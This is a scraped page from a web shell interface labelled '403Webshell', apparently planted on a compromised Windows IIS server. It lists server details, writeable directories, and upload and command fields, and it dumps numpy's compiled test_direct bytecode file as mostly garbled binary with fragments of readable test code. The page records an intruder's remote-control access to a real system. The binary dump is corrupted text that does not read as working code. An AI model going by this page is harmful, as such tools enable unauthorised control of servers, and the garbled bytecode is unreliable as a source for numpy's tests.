403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Python312/Lib/site-packages/numpy/random/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Python312/Lib/site-packages/numpy/random/tests/__pycache__/test_direct.cpython-312.pyc
�

	�g8P��X�ddlZddlmZddlZddlZddlmZmZm	Z	m
Z
ddlZddlm
Z
mZmZmZmZmZmZmZmZddlmZ	ddlZdZ	ddlZdZej:j<dkDrdZej>jAej>jCe"��Z#d	�Z$d
�Z%d�Z&d�Z'd
�Z(d�Z)d�Z*d�Z+d�Z,d�Z-d�Z.d�Z/d�Z0d�Z1Gd�d�Z2Gd�de2�Z3Gd�de2�Z4Gd�de2�Z5Gd�d e2�Z6Gd!�d"e2�Z7Gd#�d$�Z8y#e$rdZY��wxYw#e$rdZY��wxYw)%�N)�join)�assert_equal�assert_allclose�assert_array_equal�
assert_raises)	�	Generator�MT19937�PCG64�	PCG64DXSM�Philox�RandomState�SeedSequence�SFC64�default_rng)�	interfaceFT�c���|D]e}t||t�rt||||��)t||tj�rt||||��Y||||k(r�eJ�y�N)�
isinstance�dict�assert_state_equal�np�ndarrayr)�actual�target�keys   �@C:\Python312\Lib\site-packages\numpy/random/tests/test_direct.pyrr'sk���.���f�S�k�4�(��v�c�{�F�3�K�8�
��s��R�Z�Z�
0��v�c�{�F�3�K�8��#�;�&��+�-�-�-�
.�c�r�|tjd�z	dzjtj�S)N�gp>)r�uint32�astype�float32)�us r�uint32_to_float32r%1s)��
�"�)�)�A�,�
�;�/�7�7��
�
�C�Crc�|�tj|�}tj|tjd�z	tj��}tjd�}tj||ztj��}tj||g�j�}t
|�S)N� ��dtype���)r�uint64�arrayr!�column_stack�ravelr%)�x�upper�lower�joineds    r�uniform32_from_uint64r35s|��
�	�	�!��A��H�H�Q�"�)�)�B�-�'�r�y�y�9�E��I�I�j�!�E��H�H�Q��Y�b�i�i�0�E�
�_�_�e�U�^�
,�
2�
2�
4�F��V�$�$rc���tj|�tjd�z	}tj|tjd�z�}t|�S)N�r*)rr+r!r%�r/s r�uniform32_from_uint53r7>sC��
�	�	�!���	�	�"�
�%�A�
�	�	�!�b�i�i�
�+�+�,�A��Q��rc��t|�Sr)r%r6s r�uniform32_from_uint32r9Ds
���Q��rc�n�|dk(rt|�S|dk(rt|�S|dk(rt|�St�)N�@�5r')r3r7r9�NotImplementedError�r/�bitss  r�uniform32_from_uintr@Hs>���r�z�$�Q�'�'�	
���$�Q�'�'�	
���$�Q�'�'�!�!rc�B�|dvrt|�S|dk(rt|�Sy)N)r;�?r<r')�uniform_from_uint64�uniform_from_uint32r>s  r�uniform_from_uintrESs,���|��"�1�%�%�	
���"�1�%�%�
rc�8�|tjd�z	dzS)N�g�<)rr+r6s rrCrCZs��
����2���#;�<�<rc���tjt|�dz�}tdt|�d�D]&}||dz	}||dzdz	}|dz|zdz||dz<�(|S)N�r�r�g�Ag@C)r�empty�len�range)r/�out�i�a�bs     rrDrD^sw��
�(�(�3�q�6�Q�;�
�C�
�1�c�!�f�a�
 �@��
�a�D�A�I��
�a�!�e�H��M���:�~��)�-?�?��A��F��@��Jrc�F�|jtj�dz
S)N��?)�viewr�doubler6s r�uniform_from_dsfmtrWgs���6�6�"�)�)��s�"�"rc���|dvrt|�}n|dk(rt|�}nt|�}g}d}dx}}t|�|kr�d}|dk\s|dk(r5d||zdz
}d||dzzdz
}||z||zz}|dz
}|dk\r�/|dk(r�5t	j
d	t	j|�z|z�}	|j|	|z�|j|	|z�t|�|kr��|d|S)
N)r;rBr'r�rIrTg@rg�)rCrDrWrMr�sqrt�log�append)
r/�nr?�doubles�gauss�loc�x1�x2�r2�fs
          r�gauss_from_uintreks���x��%�a�(��	
���%�a�(��$�Q�'���E�
�C��M�B��

�e�*�q�.�
���C�i�2��9��w�s�|�#�c�)�B��w�s�Q�w�'�'�#�-�B��b��2��7�"�B��1�H�C�	�C�i�2��9�
�G�G�D�2�6�6�"�:�%��*�+��
���Q��V��
���Q��V���e�*�q�.���!�9�rc���ddlm}m}m}t	td�dd��}|j
d�t	di|j��}t|j|j�t|j|j�tt|�tt|�|�}tt|jd�t|j
d��dk(sJ�y)Nr)�
ISeedSequence�ISpawnableSeedSequence�SeedlessSeedSequence�
)rrIrK)�	spawn_key�	pool_size�)�numpy.random.bit_generatorrgrhrirrN�spawn�stater�n_children_spawnedr�	TypeErrorr=�generate_staterM)rgrhri�s1�s2�dummys      r�test_seedsequencerw�s���B�B�
�e�B�i�6�Q�	?�B��H�H�R�L�	�	!����	!�B�����2�8�8�$���&�&��(=�(=�>��)�]�+��)�3�4� �"�E��%�u�';�';�R�@��u�{�{�2���2�%�%�%rc�T�tjj�}|jj}|jd�}t
d�D�cgc]}|j|fz��}}|D�cgc]}|j��c}|k(sJ�|jjd�}t
dd�D�cgc]}|j|fz��}}|D�cgc]}|jj��c}|k(sJ�|jd�}t
dd�D�cgc]}|j|fz��}}|D�cgc]"}|jjj��$}	}|	|k(sJ�|dj�|dj�k7sJ�ycc}wcc}wcc}wcc}wcc}wcc}w)z? Test spawning new generators and bit_generators directly.
    rJrj�rrN)	r�randomr�
bit_generator�seed_seqrorNrk�uniform)
�rng�seq�new_ssrP�
expected_keys�c�new_bgs�bg�new_rngs�
found_keyss
          r�test_generator_spawningr��sx��
�)�)�
�
�
!�C�

�
�
�
$�
$�C�
�Y�Y�q�\�F�38��8�<�a�S�]�]�a�T�)�<�M�<�!'�(�A�A�K�K�(�M�9�9�9����%�%�a�(�G�38��B�<�@�a�S�]�]�a�T�)�@�M�@�,3�4�b�B�K�K�!�!�4�
�E�E�E��y�y��|�H�38��R�=�A�a�S�]�]�a�T�)�A�M�A�BJ�K�3�#�#�#�,�,�6�6�K�J�K���&�&�&��A�;��� �H�Q�K�$7�$7�$9�9�9�9��=��(��A��4��B��Ks$�F�0F�4F�F�F �2'F%c��ddlm}Gd�d�}|j|�tjj|��}t
jtd��5|jd�ddd�t
jtd��5|jjd�ddd�y#1swY�IxYw#1swYyxYw)Nr)rgc�*�eZdZejfd�Zy)�,test_non_spawnable.<locals>.FakeSeedSequencec�0�tj||��S)Nr()r�zeros)�self�n_wordsr)s   rrsz;test_non_spawnable.<locals>.FakeSeedSequence.generate_state�s���8�8�G�5�1�1rN)�__name__�
__module__�__qualname__rr!rsrmrr�FakeSeedSequencer��s��02�	�	�	2rr�zThe underlying SeedSequence)�matchrJ)rnrg�registerrrzr�pytest�raisesrrror{)rgr�r~s   r�test_non_spawnabler��s���8�2�2����+�,�
�)�)�
�
� 0� 2�
3�C�	���y�(E�	F���	�	�!���
���y�(E�	F�#�������"�#�#����#�#�s�!B;�C�;C�Cc�2�eZdZejZixZZed��Z	ed��Z
d�Zd�Zd�Z
d�Zd�Zd�Zd	�Zd
�Zd�Zd�Zd
�Zd�Zd�Zd�Zej4j7ed��d��Zej4j7ed��d��Zd�Z y)�Basec��t|_d|_tj|_t|_g|_g|_	y)Nr;)
r
r{r?rr+r)rr�seed_error_type�invalid_init_types�invalid_init_values��clss r�setup_classzBase.setup_class�s4��!�������I�I��	�'���!#���"$��rc	��t|�5}|j�}|jd�}|ddD�cgc]}t|j	�d���}}g}|D]=}|jt|jd�dj	�d���?|t
j||j��d�cddd�Scc}w#1swYyxYw)N�,rr���r()�seed�data)	�open�readline�split�int�stripr\rr,r))r��filename�csvr��sr��lines       r�	_read_csvzBase._read_csv�s���
�(�^�	K�s��<�<�>�D��:�:�c�?�D�/3�A�B�x�8�!�C����	�1�%�8�D�8��D��
A�����C��
�
�3��� 3� 9� 9� ;�Q�?�@�
A� �"�(�(�4�s�y�y�*I�J�	K�	K��9�	K�	K�s�)C�!C	�A)C�	C�Cc��|j|jd�}|jd�}t||jd�|j|jd�}|j�}t||jdd�|j|jd�}|jd�}t||jd�y)Nr���r�r)r{�data1�
random_rawr�data2�r�r{�uintss   r�test_rawz
Base.test_raw�s���*��*�*�D�J�J�v�,>�?�
��(�(��.���U�D�J�J�v�.�/�*��*�*�D�J�J�v�,>�?�
��(�(�*���U�D�J�J�v�.�q�1�2�*��*�*�D�J�J�v�,>�?�
��(�(��.���U�D�J�J�v�.�/rc��|j|jd�}|jd��}|�J�|jdd��}|�J�y)Nr�F)�outputr�)r{r�r�r�s   r�test_random_rawzBase.test_random_raw�sY��*��*�*�D�J�J�v�,>�?�
��(�(��(�6���}��}��(�(��e�(�<���}��}rc��d}t|j|jd��}|j|�}t	|t|jd||j��t|j|jd��}|jd�}t	|t|jd||j��y)N�r�r�)r
r{r��standard_normalrrer?r�)r�r]�rsr_s    r�test_gauss_invzBase.test_gauss_inv�s�����
�+��+�+�T�Z�Z��-?�@�
A���"�"�1�%����'��
�
�6�(:�A�t�y�y�I�	K��+��+�+�T�Z�Z��-?�@�
A���"�"�2�&����'��
�
�6�(:�A�t�y�y�I�	Krc�L�t|j|jd��}t|jd|j�}|jt
|��}t||�t|jtj�t|j|jd��}t|jd|j�}|jt
|��}t||�t|jtj�y)Nr�r�)
rr{r�rEr?rzrMrrr)r�float64r��r�r��vals�uniformss    r�test_uniform_doublezBase.test_uniform_double�s���
�)�t�)�)�4�:�:�f�+=�>�
?�� ����F�!3�T�Y�Y�?���9�9�S��Y�'����$�'��X�^�^�R�Z�Z�0�
�)�t�)�)�4�:�:�f�+=�>�
?�� ����F�!3�T�Y�Y�?���9�9�S��Y�'����$�'��X�^�^�R�Z�Z�0rc��t|j|jd��}t|jd|j�}|jt
|�tj��}t||�t|jtj�t|j|jd��}t|jd|j�}|jt
|�tj��}t||�t|jtj�y)Nr�r�r()
rr{r�r@r?rzrMrr#rrr)r�r�s    r�test_uniform_floatzBase.test_uniform_floats���
�)�t�)�)�4�:�:�f�+=�>�
?��"�4�:�:�f�#5�t�y�y�A���9�9�S��Y�b�j�j�9�9����$�'��X�^�^�R�Z�Z�0�
�)�t�)�)�4�:�:�f�+=�>�
?��"�4�:�:�f�#5�t�y�y�A���9�9�S��Y�b�j�j�9�9����$�'��X�^�^�R�Z�Z�0rc���t|j|jd��}dt|�vsJ�t	|�d�j�j
dd�t|�vsJ�y�Nr�rz#x�Xr/)rr{r��repr�idr0�replace�r�r�s  r�	test_reprzBase.test_reprse��
�)�t�)�)�4�:�:�f�+=�>�
?���d�2�h�&�&�&��R�&���#�#�%�-�-�c�3�7�4��8�C�C�Crc�4�t|j|jd��}dt|�vsJ�t|jj�t|�vsJ�t|�d�j
�jdd�t|�vsJ�yr�)rr{r��strr�r�r0r�r�s  r�test_strz
Base.test_strs���
�)�t�)�)�4�:�:�f�+=�>�
?���c�"�g�%�%�%��4�%�%�.�.�/�3�r�7�:�:�:��R�&���#�#�%�-�-�c�3�7�s�2�w�F�F�Frc���ddl}|j|jd�}|j}|j	|�}|j|�}|j}t
t|�jd�t|�jd��||usJ�t||�td�}|j|j	|��}t|j|j�y)Nrr�r��d)�pickler{r�rp�dumps�loadsrrr�rrr)	r�r�r{rp�
bitgen_pkl�reloaded�reloaded_state�ss�aas	         r�test_picklezBase.test_pickles����*��*�*�D�J�J�v�,>�?�
��#�#���\�\�-�0�
��<�<�
�+��!�����9�]�3�C�C�D�I�$�X�.�>�>�t�D�	F��H�,�,�,��>�5�1�
�#�
��
�\�\�&�,�,�r�*�
+���R�X�X�r�x�x�(rc�B�ddl}|j|jd�}|j}|j	|j|��}|j}t
|j|j�t
|j|j�|jjd�|j	|j|��}|j}t
|j|j�t
|j|j�y)Nrr�rj)r�r{r�r|r�r�rrp�poolrorq)r�r�r{r��bg_plk�ss_plks      r�#test_pickle_preserves_seed_sequencez(Base.test_pickle_preserves_seed_sequence-s���	�*��*�*�D�J�J�v�,>�?�
�
�
#�
#�����f�l�l�=�9�:�������R�X�X�v�|�|�,��R�W�W�f�k�k�*����$�$�R�(����f�l�l�=�9�:�������R�X�X�v�|�|�,��R�*�*�F�,E�,E�Frc��|j|jd�}tjt�5dh|_ddd�y#1swYyxYw)Nr��1)r{r�r�r�rrrp�r�r{s  r�test_invalid_state_typezBase.test_invalid_state_type?sH��*��*�*�D�J�J�v�,>�?�
�
�]�]�9�
%�	(�#&�%�M��	(�	(�	(�s�	A�Ac���|j|jd�}|j}d|d<tjt
�5||_ddd�y#1swYyxYw)Nr��otherBitGeneratorr{)r{r�rpr�r��
ValueError)r�r{rps   r�test_invalid_state_valuezBase.test_invalid_state_valueDs[��*��*�*�D�J�J�v�,>�?�
��#�#��!4��o��
�]�]�:�
&�	(�"'�M��	(�	(�	(�s�A�A!c��|j}|jD])}tjt�5||�ddd��+y#1swY�6xYwr)r{r�r�r�rr�r�r{�sts   r�test_invalid_init_typezBase.test_invalid_init_typeKsP���*�*�
��)�)�	#�B����y�)�
#��r�"�
#�
#�	#�
#�
#�s�A�A	c��|j}|jD]/}tjtt
f�5||�ddd��1y#1swY�<xYwr)r{r�r�r�r��
OverflowErrorr�s   r�test_invalid_init_valueszBase.test_invalid_init_valuesQsU���*�*�
��*�*�	#�B����
�M�:�;�
#��r�"�
#�
#�	#�
#�
#�s�A�A	c��|j|jd�}|jd�|jdd�tjt
�5|jdd�ddd�y#1swYyxYw)Nr�rrV�int32)r{r��
_benchmarkr�r�r�r�s  r�test_benchmarkzBase.test_benchmarkWsl��*��*�*�D�J�J�v�,>�?�
�� � ��#�� � ��H�-�
�]�]�:�
&�	1��$�$�Q��0�	1�	1�	1�s�A5�5A>zcffi not available)�reasonc��|j|jd�}|j}t|t�sJ�|j}||usJ�y�Nr�)r{r��cffirr)r�r{�cffi_interface�other_cffi_interfaces    r�	test_cffizBase.test_cffi^sR��*��*�*�D�J�J�v�,>�?�
�&�+�+���.�)�4�4�4�,�1�1��#�~�5�5�5rzctypes not availablec��|j|jd�}|j}t|t�sJ�|j}||usJ�yr�)r{r��ctypesrr)r�r{�ctypes_interface�other_ctypes_interfaces    r�test_ctypeszBase.test_ctypesfsU��*��*�*�D�J�J�v�,>�?�
�(�/�/���*�I�6�6�6�!.�!5�!5��%�)9�9�9�9rc���|j|jd�}|j}|j�}t	|t
�sJ�t
||d�t	|dt�sJ�y)Nr�rr)r{r�rp�__getstate__r�tuplerr)r�r{rp�	alt_states    r�
test_getstatezBase.test_getstatensh��*��*�*�D�J�J�v�,>�?�
��#�#��!�.�.�0�	��)�U�+�+�+��5�)�A�,�/��)�A�,��5�5�5rN)!r�r�r�rr+r)r�r��classmethodr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r��mark�skipif�MISSING_CFFIr��MISSING_CTYPESrrrmrrr�r��s����I�I�E���E�E��%��%��K��K�0��
K�1�1�D�
G�)�"G�$(�
(�#�#�1��[�[����-A��B�6�C�6��[�[����/E��F�:�G�:�6rr�c�"�eZdZed��Zd�Zy)�
TestPhiloxc�,�t|_d|_tj|_|j
ttd��|_	|j
ttd��|_
t|_g|_
ddddddzdzfg|_y)	Nr;z./data/philox-testset-1.csvz./data/philox-testset-2.csv)rNr�r�rIir)rr{r?rr+r)r�r�pwdr�r�rrr�r�r�r�s rr�zTestPhilox.setup_classws���"�������I�I��	��M�M���3�4�6��	��M�M���3�4�6��	�'���!#���#/���t�Q�#�X�PQ�\�8R�"S��rc���|j|jd�}|j}|j|dd|dd��}t|j|j�y)Nr�rp�counterr)rr)r{r�rpr)r�r{rp�keyeds    r�test_set_keyzTestPhilox.test_set_key�sh��*��*�*�D�J�J�v�,>�?�
��#�#���"�"�5��>�)�+D�',�W�~�e�'<�#�>���=�.�.����<rN)r�r�r�rr�rrmrrr
r
vs���
T��
T�=rr
c�(�eZdZed��Zd�Zd�Zy)�	TestPCG64c�,�t|_d|_tj|_|j
ttd��|_	|j
ttd��|_
ttf|_
ddgfdg|_dg|_y)Nr;z./data/pcg64-testset-1.csvz./data/pcg64-testset-2.csv�g������	@�rNr)r
r{r?rr+r)r�rrr�r�r�rrr�r�r�r�s rr�zTestPCG64.setup_class�sv��!�������I�I��	��M�M�$�s�,H�"I�J��	��M�M�$�s�,H�"I�J��	�)�9�5���"(�D�6�)�Y�!?���#(�'��rc��t|j|jd��}|jj}d}|jj	|�|jd�}||j_|jj	ddz|z�|jd�}||j_|jj	dddzz|z�|jd�}||k(sJ�||k(sJ�y�Nr�l����PAOi_n��rjrI��rr{r�rp�advance�integers�r�r�rp�step�val_neg�val_pos�val_bigs       r�test_advance_symmetryzTestPCG64.test_advance_symmetry�����
�)�t�)�)�4�:�:�f�+=�>�
?��� � �&�&��2��
��� � ��&��+�+�b�/��!&�����
��� � ��C��$��/��+�+�b�/��!&�����
��� � ��a��f��t�!3�4��+�+�b�/���'�!�!�!��'�!�!�!rc��t|jd��}|j}|jd}d}|d|k(sJ�|jt	d�dD���|jd}d}|d|k(sJ�y)N��%�@
rp�	�r%4=
K�v�u�1�/�c3�&K�|]	}d|z���y�w�rINrm��.0rPs  r�	<genexpr>z/TestPCG64.test_advange_large.<locals>.<genexpr>������C���1��C�����`r;r'r5r �rIrl	�@H}.|z�KLf�be�rr{rpr�sum�r�r��pcgrp�
initial_state�advanced_states      r�test_advange_largezTestPCG64.test_advange_large�s���
�t�)�)�.�9�
:�������	�	�'�"��?�
��W�~��.�.�.����C�C�&B�C�C�D��	�	�'�"��@���W�~��/�/�/rN�r�r�r�rr�r%r:rmrrrr�����*��*�
"�	0rrc�(�eZdZed��Zd�Zd�Zy)�
TestPCG64DXSMc�,�t|_d|_tj|_|j
ttd��|_	|j
ttd��|_
ttf|_
ddgfdg|_dg|_y)Nr;z./data/pcg64dxsm-testset-1.csvz./data/pcg64dxsm-testset-2.csvrrr)rr{r?rr+r)r�rrr�r�r�rrr�r�r�r�s rr�zTestPCG64DXSM.setup_class�sv��%�������I�I��	��M�M�$�s�,L�"M�N��	��M�M�$�s�,L�"M�N��	�)�9�5���"(�D�6�)�Y�!?���#(�'��rc��t|j|jd��}|jj}d}|jj	|�|jd�}||j_|jj	ddz|z�|jd�}||j_|jj	dddzz|z�|jd�}||k(sJ�||k(sJ�yrrr s       rr%z#TestPCG64DXSM.test_advance_symmetry�r&rc��t|jd��}|j}|j}d}|dd|k(sJ�|jt	d�dD���|jd}d}|d|k(sJ�y)Nr(r)rpc3�&K�|]	}d|z���y�wr+rmr,s  rr.z3TestPCG64DXSM.test_advange_large.<locals>.<genexpr>�r/r0r1l	oF�	�[UmO1X�9}�r4r6s      rr:z TestPCG64DXSM.test_advange_large�s���
�t�)�)�.�9�
:�������	�	��?�
��W�~�g�&�-�7�7�7����C�C�&B�C�C�D��	�	�'�"��@���W�~��/�/�/rNr;rmrrr>r>�r<rr>c�(�eZdZed��Zd�Zd�Zy)�TestMT19937c��t|_d|_tj|_|j
ttd��|_	|j
ttd��|_
t|_g|_
dg|_y)Nr'z./data/mt19937-testset-1.csvz./data/mt19937-testset-2.csvr)r	r{r?rr!r)r�rrr�r�r�r�r�r�r�s rr�zTestMT19937.setup_class�sf��#�������I�I��	��M�M�$�s�,J�"K�L��	��M�M�$�s�,J�"K�L��	�(���!#���#(�'��rc��tt|jtjtj
g��tt|jtjtj
g��tt|jtjtj
tj
g��tt|jtjdtj
g��tt|jtj
g�tt|jdtj
g�y)Nr)rrrr{rr,�pi)r�s r�test_seed_float_arrayz!TestMT19937.test_seed_float_array�s����i��!3�!3�R�X�X�r�u�u�g�5F�G��i��!3�!3�R�X�X����v�h�5G�H��i��!3�!3�R�X�X�r�u�u�r�u�u�f�o�5N�O��i��!3�!3�R�X�X�q�"�%�%�j�5I�J��i��!3�!3�b�e�e�W�=��i��!3�!3�a����Z�@rc�b�t|j|jd��}|j}|j}|j	d�}|d|dd|ddf}||_|j	d�}t||�|dz}||_|j	d�}t||�y)Nr�ir{rpr�pos)rrY)rr{r�rprr)r�r�r{rp�desired�tuprs       r�test_state_tuplezTestMT19937.test_state_tuple�s���
�)�t�)�)�4�:�:�f�+=�>�
?���(�(�
��#�#���+�+�g�&���_�%�u�W�~�e�'<��W�~�e�$�&��!�
�����W�%���V�W�%��H�n��!�
�����W�%���V�W�%rN)r�r�r�rr�rHrMrmrrrDrD�s���*��*�A�
&rrDc�"�eZdZed��Zd�Zy)�	TestSFC64c�,�t|_d|_tj|_|j
ttd��|_	|j
ttd��|_
ttf|_
ddgfdg|_dg|_y)Nr;z./data/sfc64-testset-1.csvz./data/sfc64-testset-2.csvrrr)rr{r?rr+r)r�rrr�r�r�rrr�r�r�r�s rr�zTestSFC64.setup_classs|��!�������I�I��	��M�M���2�3�5��	��M�M���2�3�5��	�)�9�5���"(�D�6�)�Y�!?���#(�'��rc���ddl}ddl}tjgd�tj��}t
jjt
jjt��d}t
jj|dd�}|j|�5}|j|�}ddd�tt�sJ�t|j dd|�y#1swY�8xYw)Nr)l�VoTM�Ql��*,!;l�a�E]y�g�
r(r�zsfc64_np126.pkl.gzrp)�gzipr�rr,r+�os�pathr��abspath�__file__rr��loadrrrrp)r�rSr��expected_state�	base_path�pkl_file�gz�sfcs        r�test_legacy_picklezTestSFC64.test_legacy_pickle
s��������
��)�)�
���G�G�M�M�"�'�'�/�/�(�";�<�Q�?�	��7�7�<�<�	�6�3G�H��
�Y�Y�x�
 �	"�B��+�+�b�/�C�	"��#�u�%�%�%��S�Y�Y�w�'��0�.�A�		"�	"�s�%C.�.C7N)r�r�r�rr�r^rmrrrOrO�s���
*��
*�BrrOc��eZdZd�Zd�Zd�Zy)�TestDefaultRNGc�h�dddddgffD]&}t|�}t|jt�r�&J�y)Nrmr)��rbi.)rrr{r
)r��args�rgs   r�	test_seedzTestDefaultRNG.test_seed&s@����'�T�4�L�?�;�	7�D��d�#�B��b�.�.��6�6�6�	7rc��t�}t|�}|j|usJ�t|�}||usJ�|j|usJ�yr)rrr{)r�r�rd�rg2s    r�test_passthroughzTestDefaultRNG.test_passthrough+sO��
�X��
��_�����2�%�%�%��"�o���b�y��y�� � �B�&�&�&rc���td�}t|�}t|jt�sJ�|j|j
usJ�tjj�}td�}tjj|�tjjj}t|�}|j|usJ�tjj|�y)NrbiT�)
r
rrr{r	�_bit_generatorrrz�get_bit_generatorr
�set_bit_generator�mtrand�_rand)r�r�rd�	_originalr�s     r�#test_coercion_RandomState_Generatorz2TestDefaultRNG.test_coercion_RandomState_Generator3s���
��
��
��_���"�*�*�G�4�4�4����2�#4�#4�4�4�4��I�I�/�/�1�	�
�8�_��
�	�	�#�#�B�'�
�Y�Y�
�
�
#�
#��
��_�����2�%�%�%�	�	�	�#�#�I�.rN)r�r�r�rerhrprmrrr`r`%s��7�
'�/rr`)9rT�os.pathr�sys�numpyr�
numpy.testingrrrrr��numpy.randomrr	r
rrr
rrr�numpy.random._commonrr�r
�ImportErrorr�r�flags�optimizerU�dirnamerVrWrrr%r3r7r9r@rErCrDrWrerwr�r�r�r
rr>rDrOr`rmrr�<module>r{sT��	��
��*�*�
����+����L����N��9�9������L�	�g�g�o�o�b�g�g�o�o�h�/�0��.�D�%� � �"�&�=��#��2&�&:�,#�$u6�u6�n=��=�,$0��$0�P$0�D�$0�N!&�$�!&�H#B��#B�L/�/��c���L������N��s$�D�D�D�D�D)�(D)

Youez - 2016 - github.com/yon3zu
LinuXploit